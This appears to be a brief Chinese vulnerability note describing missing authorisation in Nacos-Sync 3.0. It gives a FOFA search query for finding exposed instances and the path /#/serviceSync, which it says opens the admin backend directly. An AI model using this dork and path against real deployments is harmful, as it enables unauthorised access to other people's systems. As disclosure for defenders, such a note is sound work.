29 lines
432 B
Markdown
29 lines
432 B
Markdown
|
**漏洞成因**
|
||
|
|
|
||
|
|
没进行权限校验。
|
||
|
|
|
||
|
|
## 影响范围
|
||
|
|
|
||
|
|
Nacos-Sync 3.0
|
||
|
|
|
||
|
|
## 发现方式
|
||
|
|
|
||
|
|
### 一、fofa发现
|
||
|
|
|
||
|
|
```
|
||
|
|
title="nacos" && title=="Nacos-Sync"
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
### 二、路径拼接
|
||
|
|
|
||
|
|
```
|
||
|
|
/#/serviceSync
|
||
|
|
```
|
||
|
|
|
||
|
|
## 利用方式
|
||
|
|
|
||
|
|
访问之后直接是进入后台的样子~
|
||
|
|
|
||
|
|
|